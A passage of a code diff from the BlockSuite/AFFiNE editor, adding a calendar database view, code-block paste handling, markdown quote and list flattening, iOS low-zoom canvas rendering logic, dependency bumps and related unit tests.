+      viewportRuntimeConfig.CANVAS_DPR_CAP_BY_ZOOM = [
+        [0.5, 1],
+        [0.8, 2],
+      ];
+      setDevicePixelRatio(2);
+
+      const canvas = document.createElement('canvas');
+      const fillRect = vi.fn();
+      const strokeRect = vi.fn();
+      let fillStyle = '';
+      let strokeStyle = '';
+      vi.spyOn(canvas, 'getContext').mockReturnValue({
+        get fillStyle() {
+          return fillStyle;
+        },
+        set fillStyle(value: string) {
+          fillStyle = value;
+        },
+        get strokeStyle() {
+          return strokeStyle;
+        },
+        set strokeStyle(value: string) {
+          strokeStyle = value;
+        },
+        fillRect,
+        strokeRect,
+      } as unknown as CanvasRenderingContext2D);
+
+      const layout: ViewportLayoutTree = {
+        roots: [
+          {
+            blockId: 'root',
+            type: 'affine:page',
+            layout: {
+              blockId: 'root',
+              type: 'affine:page',
+              rect: { x: 0, y: 0, w: 50, h: 20 },
+            },
+            children: [],
+          },
+        ],
+        overallRect: { x: 0, y: 0, w: 50, h: 20 },
+      };
+
+      const paintPlaceholderForTest =
+        paintPlaceholder as unknown as PaintPlaceholderForTest;
+
+      paintPlaceholderForTest(canvas, layout, {
+        zoom: 0.4,
+        toViewCoord: () => [0, 0],
+      });
+
+      expect(fillStyle).toBe('rgba(0, 0, 0, 0.04)');
+      expect(strokeStyle).toBe('rgba(0, 0, 0, 0.02)');
+      expect(fillRect).toHaveBeenLastCalledWith(0, 0, 20, 8);
+
+      paintPlaceholderForTest(canvas, layout, {
+        zoom: 0.95,
+        toViewCoord: () => [0, 0],
+      });
+
+      expect(fillRect).toHaveBeenLastCalledWith(0, 0, 95, 38);
+    } finally {
+      document.documentElement.dataset.theme = previousTheme;
+    }
+  });
+});

blocksuite/affine/all/src/__tests__/gfx/placeholder-style.unit.spec.ts

@@ -0,0 +1,34 @@
+import { ColorScheme } from '@blocksuite/affine-model';
+import { describe, expect, it } from 'vitest';
+
+import {
+  getAffinePlaceholderFillColor,
+  getAffinePlaceholderStrokeColor,
+  inferColorSchemeFromThemeMode,
+} from '../../../../shared/src/theme/placeholder-style.js';
+
+describe('affine placeholder style', () => {
+  it('returns subtle light placeholder colors', () => {
+    expect(getAffinePlaceholderFillColor(ColorScheme.Light)).toBe(
+      'rgba(0, 0, 0, 0.04)'
+    );
+    expect(getAffinePlaceholderStrokeColor(ColorScheme.Light)).toBe(
+      'rgba(0, 0, 0, 0.02)'
+    );
+  });
+
+  it('returns subtle dark placeholder colors', () => {
+    expect(getAffinePlaceholderFillColor(ColorScheme.Dark)).toBe(
+      'rgba(255, 255, 255, 0.08)'
+    );
+    expect(getAffinePlaceholderStrokeColor(ColorScheme.Dark)).toBe(
+      'rgba(255, 255, 255, 0.04)'
+    );
+  });
+
+  it('infers color scheme from theme mode', () => {
+    expect(inferColorSchemeFromThemeMode('dark')).toBe(ColorScheme.Dark);
+    expect(inferColorSchemeFromThemeMode('light')).toBe(ColorScheme.Light);
+    expect(inferColorSchemeFromThemeMode('')).toBe(ColorScheme.Light);
+  });
+});

blocksuite/affine/all/src/__tests__/gfx/turbo-renderer.unit.spec.ts

@@ -0,0 +1,66 @@
+import { describe, expect, test } from 'vitest';
+
+import * as turboRendererModule from '../../../../gfx/turbo-renderer/src/turbo-renderer.js';
+
+describe('viewport turbo renderer policy', () => {
+  test.each([
+    { isIOS: true, zoom: 0.4, hasBitmap: true, expected: true },
+    { isIOS: true, zoom: 0.4, hasBitmap: false, expected: false },
+    { isIOS: false, zoom: 0.4, hasBitmap: true, expected: false },
+    { isIOS: true, zoom: 0.8, hasBitmap: true, expected: false },
+  ])(
+    'prefers cached bitmap only for iOS low-zoom gestures with a bitmap %#',
+    ({ isIOS, zoom, hasBitmap, expected }) => {
+      expect(
+        'shouldPreferBitmapCacheDuringLowZoomGesture' in turboRendererModule
+      ).toBe(true);
+
+      const shouldPreferBitmapCacheDuringLowZoomGesture = (
+        turboRendererModule as {
+          shouldPreferBitmapCacheDuringLowZoomGesture: (params: {
+            isIOS: boolean;
+            zoom: number;
+            hasBitmap: boolean;
+          }) => boolean;
+        }
+      ).shouldPreferBitmapCacheDuringLowZoomGesture;
+
+      expect(
+        shouldPreferBitmapCacheDuringLowZoomGesture({
+          isIOS,
+          zoom,
+          hasBitmap,
+        })
+      ).toBe(expected);
+    }
+  );
+
+  test.each([
+    { isIOS: true, zoom: 0.4, expected: false },
+    { isIOS: true, zoom: 0.8, expected: true },
+    { isIOS: false, zoom: 0.4, expected: true },
+  ])(
+    'idles turbo blocks outside iOS low-zoom survival mode %#',
+    ({ isIOS, zoom, expected }) => {
+      expect('shouldIdleTurboBlocksDuringZooming' in turboRendererModule).toBe(
+        true
+      );
+
+      const shouldIdleTurboBlocksDuringZooming = (
+        turboRendererModule as {
+          shouldIdleTurboBlocksDuringZooming: (params: {
+            isIOS: boolean;
+            zoom: number;
+          }) => boolean;
+        }
+      ).shouldIdleTurboBlocksDuringZooming;
+
+      expect(
+        shouldIdleTurboBlocksDuringZooming({
+          isIOS,
+          zoom,
+        })
+      ).toBe(expected);
+    }
+  );
+});

blocksuite/affine/all/vitest.config.ts

@@ -1,3 +1,5 @@
+import { fileURLToPath } from 'node:url';
+
 import { vanillaExtractPlugin } from '@vanilla-extract/vite-plugin';
 import { defineConfig } from 'vitest/config';
 
@@ -7,7 +9,9 @@ export default defineConfig({
   },
   plugins: [vanillaExtractPlugin()],
   test: {
-    globalSetup: '../../../scripts/vitest-global.js',
+    globalSetup: fileURLToPath(
+      new URL('../../../scripts/vitest-global.js', import.meta.url)
+    ),
     include: ['src/__tests__/**/*.unit.spec.ts'],
     testTimeout: 1000,
     coverage: {

blocksuite/affine/blocks/bookmark/package.json

@@ -29,9 +29,9 @@
     "yjs": "^13.6.27"
   },
   "devDependencies": {
-    "@vitest/browser-playwright": "^4.0.18",
+    "@vitest/browser-playwright": "^4.1.8",
     "playwright": "=1.58.2",
-    "vitest": "^4.0.18"
+    "vitest": "^4.1.8"
   },
   "exports": {
     ".": "./src/index.ts",

blocksuite/affine/blocks/code/src/clipboard/index.ts

@@ -1,4 +1,5 @@
 import { deleteTextCommand } from '@blocksuite/affine-inline-preset';
+import type { RichText } from '@blocksuite/affine-rich-text';
 import {
   HtmlAdapter,
   pasteMiddleware,
@@ -18,6 +19,7 @@ import {
   LifeCycleWatcher,
   LifeCycleWatcherIdentifier,
   StdIdentifier,
+  TextSelection,
   type UIEventHandler,
 } from '@blocksuite/std';
 import type { ExtensionType } from '@blocksuite/store';
@@ -103,6 +105,30 @@ export class CodeBlockClipboardController extends LifeCycleWatcher {
     const e = ctx.get('clipboardState').raw;
     e.preventDefault();
 
+    const textSelection = this.std.selection.find(TextSelection);
+    const plainText = e.clipboardData
+      ?.getData('text/plain')
+      ?.replace(/\r?\n|\r/g, '\n');
+    const selectedBlockId = textSelection?.from.blockId;
+    const codeBlock = selectedBlockId
+      ? this.std.store.getBlock(selectedBlockId)?.model
+      : null;
+    if (plainText && codeBlock?.flavour === 'affine:code' && selectedBlockId) {
+      const richText = this.std.view
+        .getBlock(selectedBlockId)
+        ?.querySelector<RichText>('rich-text');
+      const inlineEditor = richText?.inlineEditor;
+      const inlineRange = inlineEditor?.getInlineRange();
+      if (inlineEditor && inlineRange) {
+        inlineEditor.insertText(inlineRange, plainText);
+        inlineEditor.setInlineRange({
+          index: inlineRange.index + plainText.length,
+          length: 0,
+        });
+        return true;
+      }
+    }
+
     this.std.store.captureSync();
     this.std.command
       .chain()

blocksuite/affine/blocks/data-view/src/data-view-block.ts

@@ -254,6 +254,7 @@ export class DataViewBlockComponent extends CaptionedBlockComponent<DataViewBloc
     dataSource: this.dataSource,
     headerWidget: this.headerWidget,
     clipboard: this.std.clipboard,
+    dnd: this.std.dnd,
     notification: {
       toast: message => {
         const notification = this.std.getOptional(NotificationProvider);

blocksuite/affine/blocks/database/src/adapters/utils.ts

@@ -54,9 +54,9 @@ type Cell = {
   value: string | { delta: DeltaInsert[] };
 };
 export const processTable = (
-  columns: ColumnDataType[],
-  children: BlockSnapshot[],
-  cells: SerializedCells
+  columns: ColumnDataType[] = [],
+  children: BlockSnapshot[] = [],
+  cells: SerializedCells = {}
 ): Table => {
   const table: Table = {
     headers: columns,
@@ -90,13 +90,17 @@ export const processTable = (
         return;
       }
       let value: string | { delta: DeltaInsert[] };
-      if (isDelta(cell.value)) {
-        value = cell.value;
-      } else {
-        value = property.config.rawValue.toString({
-          value: cell.value,
-          data: col.data,
-        });
+      try {
+        if (isDelta(cell.value)) {
+          value = cell.value;
+        } else {
+          value = property.config.rawValue.toString({
+            value: cell.value,
+            data: col.data,
+          });
+        }
+      } catch {
+        value = '';
       }
       row.cells.push({
         value,

blocksuite/affine/blocks/database/src/configs/slash-menu.ts

@@ -6,6 +6,7 @@ import { viewPresets } from '@blocksuite/data-view/view-presets';
 import {
   DatabaseKanbanViewIcon,
   DatabaseTableViewIcon,
+  TodayIcon,
 } from '@blocksuite/icons/lit';
 
 import { insertDatabaseBlockCommand } from '../commands';
@@ -47,6 +48,35 @@ export const databaseSlashMenuConfig: SlashMenuConfig = {
       },
     },
 
+    {
+      name: 'Calendar View',
+      description: 'Display items by date in a calendar.',
+      searchAlias: ['database', 'calendar'],
+      icon: TodayIcon(),
+      group: '7_Database@1',
+      when: ({ model }) =>
+        !isInsideBlockByFlavour(model.store, model, 'affine:edgeless-text'),
+      action: ({ std }) => {
+        std.command
+          .chain()
+          .pipe(getSelectedModelsCommand)
+          .pipe(insertDatabaseBlockCommand, {
+            viewType: viewPresets.calendarViewMeta.type,
+            place: 'after',
+            removeEmptyLine: true,
+          })
+          .pipe(({ insertedDatabaseBlockId }) => {
+            if (insertedDatabaseBlockId) {
+              const telemetry = std.getOptional(TelemetryProvider);
+              telemetry?.track('BlockCreated', {
+                blockType: 'affine:database',
+              });
+            }
+          })
+          .run();
+      },
+    },
+
     {
       name: 'Kanban View',
       description: 'Visualize data in a dashboard.',

blocksuite/affine/blocks/database/src/database-block.ts

@@ -34,6 +34,7 @@ import {
   type SingleView,
   uniMap,
 } from '@blocksuite/data-view';
+import { CalendarExternalSourceProvider } from '@blocksuite/data-view/view-presets';
 import { widgetPresets } from '@blocksuite/data-view/widget-presets';
 import { IS_MOBILE } from '@blocksuite/global/env';
 import { Rect } from '@blocksuite/global/gfx';
@@ -150,6 +151,14 @@ export class DatabaseBlockComponent extends CaptionedBlockComponent<DatabaseBloc
             config
           );
         });
+      this.std.provider
+        .getAll(CalendarExternalSourceProvider)
+        .forEach(source => {
+          dataSource.serviceSet(
+            CalendarExternalSourceProvider(source.id),
+            source
+          );
+        });
     });
     const id = currentViewStorage.getCurrentView(this.model.id);
     if (id && dataSource.viewManager.viewGet(id)) {
@@ -293,6 +302,12 @@ export class DatabaseBlockComponent extends CaptionedBlockComponent<DatabaseBloc
       widgetPresets.tools.viewOptions,
       widgetPresets.tools.tableAddRow,
     ],
+    calendar: [
+      widgetPresets.tools.filter,
+      widgetPresets.tools.search,
+      widgetPresets.tools.viewOptions,
+      widgetPresets.tools.tableAddRow,
+    ],
   });
 
   private readonly viewSelection$ = computed(() => {
@@ -427,6 +442,7 @@ export class DatabaseBlockComponent extends CaptionedBlockComponent<DatabaseBloc
         headerWidget: this.headerWidget,
         onDrag: this.onDrag,
         clipboard: this.std.clipboard,
+        dnd: this.std.dnd,
         notification: {
           toast: message => {
             const notification = this.std.getOptional(NotificationProvider);

blocksuite/affine/blocks/database/src/views/index.ts

@@ -4,6 +4,7 @@ import { viewConverts, viewPresets } from '@blocksuite/data-view/view-presets';
 export const databaseBlockViews: ViewMeta[] = [
   viewPresets.tableViewMeta,
   viewPresets.kanbanViewMeta,
+  viewPresets.calendarViewMeta,
 ];
 
 export const databaseBlockViewMap = Object.fromEntries(

blocksuite/affine/blocks/embed/src/embed-github-block/embed-github-block.ts

@@ -117,7 +117,7 @@ export class EmbedGithubBlockComponent extends EmbedBlockComponent<
 
   override renderBlock() {
     const {
-      title = 'GitHub',
+      title,
       githubType,
       status,
       statusReason,
@@ -139,7 +139,7 @@ export class EmbedGithubBlockComponent extends EmbedBlockComponent<
       ? getGithubStatusIcon(githubType, status, statusReason)
       : nothing;
     const statusText = loading ? '' : status;
-    const titleText = loading ? 'Loading...' : title;
+    const titleText = loading ? 'Loading...' : title || 'GitHub';
     const descriptionText = loading ? '' : description;
     const bannerImage =
       !loading && image

blocksuite/affine/blocks/embed/src/embed-loom-block/embed-loom-block.ts

@@ -89,14 +89,14 @@ export class EmbedLoomBlockComponent extends EmbedBlockComponent<
   }
 
   override renderBlock() {
-    const { image, title = 'Loom', description, videoId } = this.model.props;
+    const { image, title, description, videoId } = this.model.props;
 
     const loading = this.loading;
     const theme = this.std.get(ThemeProvider).theme;
     const imageProxyService = this.store.get(ImageProxyService);
     const { EmbedCardBannerIcon } = getEmbedCardIcons(theme);
     const titleIcon = loading ? LoadingIcon() : LoomIcon;
-    const titleText = loading ? 'Loading...' : title;
+    const titleText = loading ? 'Loading...' : title || 'Loom';
     const descriptionText = loading ? '' : description;
     const bannerImage =
       !loading && image

blocksuite/affine/blocks/embed/src/embed-youtube-block/embed-youtube-block.ts

@@ -96,21 +96,15 @@ export class EmbedYoutubeBlockComponent extends EmbedBlockComponent<
   }
 
   override renderBlock() {
-    const {
-      image,
-      title = 'YouTube',
-      description,
-      creator,
-      creatorImage,
-      videoId,
-    } = this.model.props;
+    const { image, title, description, creator, creatorImage, videoId } =
+      this.model.props;
 
     const loading = this.loading;
     const theme = this.std.get(ThemeProvider).theme;
     const imageProxyService = this.store.get(ImageProxyService);
     const { EmbedCardBannerIcon } = getEmbedCardIcons(theme);
     const titleIcon = loading ? LoadingIcon() : YoutubeIcon;
-    const titleText = loading ? 'Loading...' : title;
+    const titleText = loading ? 'Loading...' : title || 'YouTube';
     const descriptionText = loading ? null : description;
     const bannerImage =
       !loading && image

blocksuite/affine/blocks/image/src/image-edgeless-block.ts

@@ -276,7 +276,8 @@ export class ImageEdgelessBlockComponent extends GfxBlockComponent<ImageBlockMod
 
   override renderGfxBlock() {
     const blobUrl = this.blobUrl;
-    const { rotate = 0, size = 0, caption = 'Image' } = this.model.props;
+    const { rotate, size: rawSize, caption = 'Image' } = this.model.props;
+    const size = rawSize ?? 0;
     this._resetLodSource(blobUrl);
 
     const containerStyleMap = styleMap({

blocksuite/affine/blocks/paragraph/src/adapters/markdown.ts

@@ -5,10 +5,11 @@ import {
   IN_PARAGRAPH_NODE_CONTEXT_KEY,
   isCalloutNode,
   type MarkdownAST,
+  type MarkdownDeltaConverter,
 } from '@blocksuite/affine-shared/adapters';
-import type { DeltaInsert } from '@blocksuite/store';
+import type { BlockSnapshot, DeltaInsert } from '@blocksuite/store';
 import { nanoid } from '@blocksuite/store';
-import type { Heading } from 'mdast';
+import type { Blockquote, Heading, List, ListItem } from 'mdast';
 
 /**
  * Extend the HeadingData type to include the collapsed property
@@ -24,6 +25,131 @@ const PARAGRAPH_MDAST_TYPE = new Set(['paragraph', 'heading', 'blockquote']);
 const isParagraphMDASTType = (node: MarkdownAST) =>
   PARAGRAPH_MDAST_TYPE.has(node.type);
 
+const joinDeltaLines = (
+  lines: DeltaInsert[][],
+  prefix?: string
+): DeltaInsert[] => {
+  const deltas: DeltaInsert[] = [];
+  lines.forEach(line => {
+    if (deltas.length) deltas.push({ insert: '\n' });
+    if (prefix) deltas.push({ insert: prefix });
+    deltas.push(...line);
+  });
+  return deltas;
+};
+
+const flattenListItemToDelta = (
+  node: ListItem,
+  deltaConverter: MarkdownDeltaConverter,
+  prefix: string,
+  depth: number
+): DeltaInsert[] => {
+  const firstParagraph = node.children[0];
+  const lines: DeltaInsert[][] = [];
+  if (firstParagraph?.type === 'paragraph') {
+    lines.push([
+      { insert: prefix },
+      ...deltaConverter.astToDelta(firstParagraph),
+    ]);
+  } else {
+    lines.push([{ insert: prefix.trimEnd() }]);
+  }
+  node.children
+    .slice(firstParagraph?.type === 'paragraph' ? 1 : 0)
+    .forEach(child => {
+      const delta = flattenMarkdownBlockToDelta(
+        child as MarkdownAST,
+        deltaConverter,
+        depth + 1
+      );
+      if (delta.length) {
+        lines.push(delta);
+      }
+    });
+  return joinDeltaLines(lines);
+};
+
+const flattenMarkdownBlockToDelta = (
+  node: MarkdownAST,
+  deltaConverter: MarkdownDeltaConverter,
+  depth = 0
+): DeltaInsert[] => {
+  switch (node.type) {
+    case 'paragraph':
+    case 'heading':
+      return deltaConverter.astToDelta(node);
+    case 'list': {
+      const list = node as List;
+      return joinDeltaLines(
+        list.children.map((item, index) => {
+          const order = (list.start ?? 1) + index;
+          const prefix =
+            '  '.repeat(depth) + (list.ordered ? `${order}. ` : '- ');
+          return flattenListItemToDelta(item, deltaConverter, prefix, depth);
+        })
+      );
+    }
+    case 'blockquote':
+      return flattenBlockquoteToDelta(node as Blockquote, deltaConverter);
+    default:
+      return 'children' in node
+        ? joinDeltaLines(
+            (node.children as MarkdownAST[]).map(child =>
+              flattenMarkdownBlockToDelta(child, deltaConverter, depth)
+            )
+          )
+        : [];
+  }
+};
+
+const flattenBlockquoteToDelta = (
+  node: Blockquote,
+  deltaConverter: MarkdownDeltaConverter
+) =>
+  joinDeltaLines(
+    node.children.map(child =>
+      flattenMarkdownBlockToDelta(child as MarkdownAST, deltaConverter)
+    )
+  );
+
+const getSnapshotTextDelta = (node: BlockSnapshot): DeltaInsert[] => {
+  const text = (node.props.text ?? { delta: [] }) as {
+    delta: DeltaInsert[];
+  };
+  return text.delta;
+};
+
+const flattenSnapshotBlockToDelta = (
+  node: BlockSnapshot,
+  depth = 0
+): DeltaInsert[] => {
+  if (node.flavour === 'affine:list') {
+    const type = node.props.type;
+    const order = (node.props.order as number | undefined) ?? 1;
+    const prefix =
+      '  '.repeat(depth) + (type === 'numbered' ? `${order}. ` : '- ');
+    return joinDeltaLines([
+      [{ insert: prefix }, ...getSnapshotTextDelta(node)],
+      ...node.children.map(child =>
+        flattenSnapshotBlockToDelta(child, depth + 1)
+      ),
+    ]);
+  }
+  return joinDeltaLines([
+    getSnapshotTextDelta(node),
+    ...node.children.map(child => flattenSnapshotBlockToDelta(child, depth)),
+  ]);
+};
+
+const flattenQuoteSnapshotToDelta = (
+  text: DeltaInsert[],
+  children: BlockSnapshot[]
+) =>
+  joinDeltaLines([
+    text,
+    ...children.map(child => flattenSnapshotBlockToDelta(child)),
+  ]);
+
 export const paragraphBlockMarkdownAdapterMatcher: BlockMarkdownAdapterMatcher =
   {
     flavour: ParagraphBlockSchema.model.flavour,
@@ -93,7 +219,10 @@ export const paragraphBlockMarkdownAdapterMatcher: BlockMarkdownAdapterMatcher =
                     type: 'quote',
                     text: {
                       '$blocksuite:internal:text$': true,
-                      delta: deltaConverter.astToDelta(o.node),
+                      delta: flattenBlockquoteToDelta(
+                        o.node as Blockquote,
+                        deltaConverter
+                      ),
                     },
                   },
                   children: [],
@@ -160,6 +289,10 @@ export const paragraphBlockMarkdownAdapterMatcher: BlockMarkdownAdapterMatcher =
             break;
           }
           case 'quote': {
+            const quoteDelta = flattenQuoteSnapshotToDelta(
+              text.delta,
+              o.node.children
+            );
             walkerContext
               .openNode(
                 {
@@ -171,12 +304,13 @@ export const paragraphBlockMarkdownAdapterMatcher: BlockMarkdownAdapterMatcher =
               .openNode(
                 {
                   type: 'paragraph',
-                  children: deltaConverter.deltaToAST(text.delta),
+                  children: deltaConverter.deltaToAST(quoteDelta),
                 },
                 'children'
               )
               .closeNode()
               .closeNode();
+            walkerContext.skipAllChildren();
             break;
           }
         }

blocksuite/affine/blocks/paragraph/src/heading-icon.ts

@@ -42,7 +42,7 @@ export class ParagraphHeadingIcon extends SignalWatcher(
       margin-top: 0.3em;
       position: absolute;
       left: 0;
-      transform: translateX(-64px);
+      transform: translateX(-80px);
       border-radius: 4px;
       padding: 2px;
       cursor: pointer;

blocksuite/affine/blocks/paragraph/src/paragraph-keymap.ts

@@ -101,6 +101,9 @@ export const ParagraphKeymapExtension = KeymapExtension(
         return true;
       },
       Enter: ctx => {
+        const raw = ctx.get('keyboardState').raw;
+        if (raw.isComposing) return;
+
         const { store } = std;
         const text = std.selection.find(TextSelection);
         if (!text) return;
@@ -115,7 +118,6 @@ export const ParagraphKeymapExtension = KeymapExtension(
         const inlineRange = inlineEditor?.getInlineRange();
         if (!inlineRange || !inlineEditor) return;
 
-        const raw = ctx.get('keyboardState').raw;
         const isEnd = model.props.text.length === inlineRange.index;
 
         if (model.props.type === 'quote') {

blocksuite/affine/blocks/root/package.json

@@ -43,7 +43,7 @@
     "@blocksuite/store": "workspace:*",
     "@preact/signals-core": "^1.8.0",
     "@types/lodash-es": "^4.17.12",
-    "dompurify": "^3.3.0",
+    "dompurify": "^3.4.11",
     "html2canvas": "^1.4.1",
     "lit": "^3.2.0",
     "lodash-es": "^4.17.23",

blocksuite/affine/blocks/root/src/edgeless/edgeless-root-block.ts

@@ -212,7 +212,7 @@ export class EdgelessRootBlockComponent extends BlockComponent<
           currentCenter.y
         );
 
-        viewport.setZoom(zoom, new Point(baseX, baseY));
+        viewport.setZoom(zoom, new Point(baseX, baseY), false, true, true);
 
         return false;
       })
@@ -351,7 +351,7 @@ export class EdgelessRootBlockComponent extends BlockComponent<
           );
 
           const zoom = normalizeWheelDeltaY(e.deltaY, viewport.zoom);
-          viewport.setZoom(zoom, new Point(baseX, baseY), true);
+          viewport.setZoom(zoom, new Point(baseX, baseY), true, true, true);
           e.stopPropagation();
         }
         // pan
@@ -484,7 +484,7 @@ export class EdgelessRootBlockComponent extends BlockComponent<
           .viewport=${this.gfx.viewport}
           .getModelsInViewport=${() => {
             const blocks = this.gfx.grid.search(
-              this.gfx.viewport.viewportBounds,
+              this.gfx.viewport.overscanBlockBounds,
               {
                 useSet: true,
                 filter: ['block'],

blocksuite/affine/blocks/root/src/preview/edgeless-root-preview-block.ts

@@ -230,7 +230,7 @@ export class EdgelessRootPreviewBlockComponent extends BlockComponent<RootBlockM
           .viewport=${this._gfx.viewport}
           .getModelsInViewport=${() => {
             const blocks = this._gfx.grid.search(
-              this._gfx.viewport.viewportBounds,
+              this._gfx.viewport.overscanBlockBounds,
               {
                 useSet: true,
                 filter: ['block'],

blocksuite/affine/blocks/surface/package.json

@@ -28,7 +28,7 @@
     "yjs": "^13.6.27"
   },
   "devDependencies": {
-    "vitest": "^4.0.18"
+    "vitest": "^4.1.8"
   },
   "exports": {
     ".": "./src/index.ts",

blocksuite/affine/blocks/surface/src/renderer/canvas-renderer.ts

@@ -2,6 +2,7 @@ import { type Color, ColorScheme } from '@blocksuite/affine-model';
 import { FeatureFlagService } from '@blocksuite/affine-shared/services';
 import { requestConnectedFrame } from '@blocksuite/affine-shared/utils';
 import { DisposableGroup } from '@blocksuite/global/disposable';
+import { IS_IOS } from '@blocksuite/global/env';
 import {
   Bound,
   getBoundWithRotation,
@@ -18,7 +19,12 @@ import type {
   SurfaceBlockModel,
   Viewport,
 } from '@blocksuite/std/gfx';
-import { GfxControllerIdentifier } from '@blocksuite/std/gfx';
+import {
+  getEffectiveDpr,
+  getPostGestureRecoveryDelay,
+  GfxControllerIdentifier,
+  viewportRuntimeConfig,
+} from '@blocksuite/std/gfx';
 import { effect } from '@preact/signals-core';
 import last from 'lodash-es/last';
 import { Subject } from 'rxjs';
@@ -28,6 +34,7 @@ import { ElementRendererIdentifier } from '../extensions/element-renderer.js';
 import { RoughCanvas } from '../utils/rough/canvas.js';
 import type { ElementRenderer } from './elements/index.js';
 import type { Overlay } from './overlay.js';
+import { resolveSurfacePlaceholderColor } from './placeholder-style.js';
 
 type EnvProvider = {
   generateColorProperty: (color: Color, fallback?: Color) => string;
@@ -116,6 +123,181 @@ type RefreshTarget =
     };
 
 const STACKING_CANVAS_PADDING = 32;
+const IOS_LOW_ZOOM_SURVIVAL_THRESHOLD = 0.5;
+
+export function shouldSyncCanvasBudgetOnViewportUpdate(
+  previousZoom: number,
+  nextZoom: number,
+  rawDpr = window.devicePixelRatio
+) {
+  if (rawDpr <= 1) {
+    return false;
+  }
+
+  return (
+    getEffectiveDpr(previousZoom, rawDpr) !== getEffectiveDpr(nextZoom, rawDpr)
+  );
+}
+
+export function shouldUseLowZoomSurvivalMode(
+  isIOS: boolean,
+  zoom: number,
+  gestureActive: boolean
+) {
+  return isIOS && gestureActive && zoom <= IOS_LOW_ZOOM_SURVIVAL_THRESHOLD;
+}
+
+export function getStackingCanvasBypassState(params: {
+  isIOS: boolean;
+  zoom: number;
+  gestureActive: boolean;
+  recoveryActive: boolean;
+  viewportWidth: number;
+  viewportHeight: number;
+}) {
+  const {
+    isIOS,
+    zoom,
+    gestureActive,
+    recoveryActive,
+    viewportWidth,
+    viewportHeight,
+  } = params;
+
+  return (
+    isIOS &&
+    zoom <= IOS_LOW_ZOOM_SURVIVAL_THRESHOLD &&
+    (gestureActive || recoveryActive) &&
+    viewportWidth > viewportHeight
+  );
+}
+
+export function shouldBypassStackingCanvasesDuringLowZoomGesture(params: {
+  isIOS: boolean;
+  zoom: number;
+  gestureActive: boolean;
+  recoveryActive: boolean;
+  viewportWidth: number;
+  viewportHeight: number;
+}) {
+  return getStackingCanvasBypassState(params);
+}
+
+export function getStackingCanvasAttachmentDiff(params: {
+  canvases: HTMLCanvasElement[];
+  wasAttached: boolean;
+  shouldAttach: boolean;
+}) {
+  const { canvases, wasAttached, shouldAttach } = params;
+
+  if (wasAttached === shouldAttach) {
+    return {
+      added: [],
+      removed: [],
+    };
+  }
+
+  return shouldAttach
+    ? {
+        added: canvases,
+        removed: [],
+      }
+    : {
+        added: [],
+        removed: canvases,
+      };
+}
+
+export function getMainCanvasFallbackBounds(params: {
+  viewportBounds: Bound;
+  overscanViewportBounds: Bound;
+}) {
+  const { overscanViewportBounds } = params;
+
+  return {
+    cullBound: overscanViewportBounds,
+    renderBound: overscanViewportBounds,
+  };
+}
+
+export function getCanvasViewportLayout(params: {
+  bound: Bound;
+  viewportBounds: Bound;
+  zoom: number;
+  viewScale: number;
+  dpr: number;
+}) {
+  const { bound, viewportBounds, zoom, viewScale, dpr } = params;
+  const width = bound.w * zoom;
+  const height = bound.h * zoom;
+  const left = (bound.x - viewportBounds.x) * zoom;
+  const top = (bound.y - viewportBounds.y) * zoom;
+
+  return {
+    actualHeight: Math.max(0, Math.ceil(height * dpr)),
+    actualWidth: Math.max(0, Math.ceil(width * dpr)),
+    height,
+    transform: `translate(${left}px, ${top}px) scale(${1 / viewScale})`,
+    width,
+  };
+}
+
+function applyCanvasViewportLayout(
+  canvas: HTMLCanvasElement,
+  layout: ReturnType<typeof getCanvasViewportLayout>
+) {
+  const width = `${layout.width}px`;
+  const height = `${layout.height}px`;
+
+  if (canvas.style.left !== '0px') {
+    canvas.style.left = '0px';
+  }
+  if (canvas.style.top !== '0px') {
+    canvas.style.top = '0px';
+  }
+  if (canvas.style.width !== width) {
+    canvas.style.width = width;
+  }
+  if (canvas.style.height !== height) {
+    canvas.style.height = height;
+  }
+  if (canvas.style.transform !== layout.transform) {
+    canvas.style.transform = layout.transform;
+  }
+  if (canvas.style.transformOrigin !== 'top left') {
+    canvas.style.transformOrigin = 'top left';
+  }
+  if (canvas.width !== layout.actualWidth) {
+    canvas.width = layout.actualWidth;
+  }
+  if (canvas.height !== layout.actualHeight) {
+    canvas.height = layout.actualHeight;
+  }
+}
+
+export function shouldRenderCanvasPlaceholders(params: {
+  isIOS: boolean;
+  zoom: number;
+  isPanning: boolean;
+  isZooming: boolean;
+  skipRefreshDuringGesture: boolean;
+  turboEnabled: boolean;
+}) {
+  const {
+    isIOS,
+    zoom,
+    isPanning,
+    isZooming,
+    skipRefreshDuringGesture,
+    turboEnabled,
+  } = params;
+
+  if (shouldUseLowZoomSurvivalMode(isIOS, zoom, isZooming)) {
+    return true;
+  }
+
+  return !skipRefreshDuringGesture && turboEnabled && isZooming && !isPanning;
+}
 
 export class CanvasRenderer {
   private _container!: HTMLElement;
@@ -145,6 +327,19 @@ export class CanvasRenderer {
 
   private _needsFullRender = true;
 
+  private _lastCanvasBudgetZoom = 1;
+
+  private _lastLowZoomSurvivalMode = false;
+
+  private _lastBypassStackingCanvases = false;
+
+  private _stackingCanvasesAttached = true;
+
+  private _stackingCanvasRecoveryUntil = 0;
+
+  private _stackingCanvasRecoveryTimerId: ReturnType<typeof setTimeout> | null =
+    null;
+
   private _debugMetrics: MutableCanvasRendererDebugMetrics = {
     refreshCount: 0,
     coalescedRefreshCount: 0,
@@ -189,6 +384,10 @@ export class CanvasRenderer {
     return this._stackingCanvas;
   }
 
+  get stackingCanvasesAttached() {
+    return this._stackingCanvasesAttached;
+  }
+
   constructor(options: RendererOptions) {
     const canvas = document.createElement('canvas');
 
@@ -196,6 +395,7 @@ export class CanvasRenderer {
     this.ctx = this.canvas.getContext('2d') as CanvasRenderingContext2D;
     this.std = options.std;
     this.viewport = options.viewport;
+    this._lastCanvasBudgetZoom = this.viewport.zoom;
     this.layerManager = options.layerManager;
     this.grid = options.gridManager;
     this.provider = options.provider ?? {};
@@ -223,22 +423,28 @@ export class CanvasRenderer {
    *
    * It is not recommended to set width and height to 100%.
    */
-  private _canvasSizeUpdater(dpr = window.devicePixelRatio) {
-    const { width, height, viewScale } = this.viewport;
-    const actualWidth = Math.ceil(width * dpr);
-    const actualHeight = Math.ceil(height * dpr);
+  private _canvasSizeUpdater(
+    bound = this.viewport.overscanViewportBounds,
+    dpr = getEffectiveDpr(this.viewport.zoom)
+  ) {
+    const layout = getCanvasViewportLayout({
+      bound,
+      viewportBounds: this.viewport.viewportBounds,
+      zoom: this.viewport.zoom,
+      viewScale: this.viewport.viewScale,
+      dpr,
+    });
 
     return {
-      filter({ width, height }: HTMLCanvasElement) {
-        return width !== actualWidth || height !== actualHeight;
